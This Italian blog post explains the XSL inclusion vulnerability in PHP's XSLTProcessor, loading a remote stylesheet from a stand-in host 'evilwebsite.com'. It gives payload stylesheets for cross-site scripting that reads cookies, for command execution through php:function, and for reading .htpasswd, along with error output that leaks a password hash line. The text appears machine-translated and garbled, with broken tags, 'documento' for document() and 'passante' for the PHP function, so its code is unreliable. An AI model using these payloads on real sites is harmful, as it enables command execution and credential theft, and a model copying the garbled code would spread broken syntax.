
XSL inclusion
Oggi ho deciso di parlarvi di una vulnerabilità interessante, la XSL inclusion. Partiamo subito! Come ben sappiamo Il linguaggio PHP supporta le trasformazioni XSL utilizzando la classe XSLTProcessor .
Il seguente codice carica il documento collection.xml e lo trasforma in un file XSL.
Questo codice è stato preso dal PHP XSLTProcessor e trasformato con transformToXML per poi essere modificato per inserire la vulnerabilità.
La vulnerabilità si verifica quando il file XSL viene caricato da una fonte controllata dall’utente malintenzionato. In questo esempio, è possibile specificare il file XSL come parametro GET “xsl”.
È possibile includere un file XSL remoto utilizzando un URL simile:
https://www.website.com/xsl/transform.php?xsl=https://evilwebsite.com/evil.xsl
Cosa si può fare con questa vulnerabilità? Andiamolo a vedere!
1. XSS (Cross Site Scripting).
File XSL di esempio che eseguirà il codice Javascript:
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Script> alert (document.cookie) </ script>
</ Xsl: template>
</ Xsl: stylesheet>
2. Eseguire codice PHP (se registerPHPFunctions è abilitato); XSLTProcessor ha un metodo NameDA registerPHPFunctions. Questo metodo ha la capacità di usare funzioni PHP come funzioni XSLT all’interno di XSL stylesheets. Qui è riportato un esempio di file XSL che verranno eseguiti con codice PHP: (funziona solo se IFA registerPHPFunctions è abilitato)
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Xsl: value-of select = “php: function (‘passante’, ‘ls -la /’)” />
</ Xsl: template>
</ Xsl: stylesheet>
3. Leggere file arbitrari. Non ci sono limiti a quali file si possono leggere. Con il metodo transformToXML si tenterà di analizzare il file e non funzionerà solo qualora il formato non fosse giusto. Bisogna precisare che si possono leggere solo i dati formattati in HTML. Tuttavia, è possibile leggere la prima riga da qualsiasi file. Questo può non sembrare molto, ma potrebbe essere utile in alcune situazioni (ad esempio i file .htpasswd).
Metto qui in esempio uno script XSL che riguarda il nostro caso:
<Xsl: stylesheet version = “1.0” xmlns: xsl = “https://www.w3.org/1999/XSL/Transform” xmlns: php = “https://php.net/xsl”>
<Xsl: template match = “/”>
<Xsl: copy-of select = “documento (‘. Htpasswd’)” />
</ Xsl: template>
</ Xsl: stylesheet>
Nel mio caso Htpasswd contiene solo una riga (test: qKMmz / ZMJFHc6).
Compreso il file XSL sopra produrrà il seguente risultato:
<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: /path/.htpasswd:1: parser error : Start tag expected, ‘<’ not found in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: test:qKMmz/ZMJFHc6 in <b>/path/transform.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:XSLTProcessor::transformToXml()
[<a href=’xsltprocessor.transformtoxml’>xsltprocessor.transformtoxml</a>]: ^ in <b>/path/transform.php</b> on line <b>15</b><br />
Come si può vedere, transformToXml trovato alcuni errori nella prima riga di questo file e ha dimostrato la riga affetta dalla falla di sicurezza.
Ti è stato di aiuto questo articolo? Aiuta questo sito a mantenere le varie spese con una donazione a piacere cliccando su questo link. Grazie!
Seguici anche su Telegram cliccando su questo link per rimanere sempre aggiornato sugli ultimi articoli e le novità riguardanti il sito.
Se vuoi fare domande o parlare di tecnologia puoi entrare nel nostro gruppo Telegram cliccando su questo link.
© Tecnogalaxy.it - Vietato riprodurre il contenuto di questo articolo.
I PIÙ LETTI
ARTICOLI RECENTI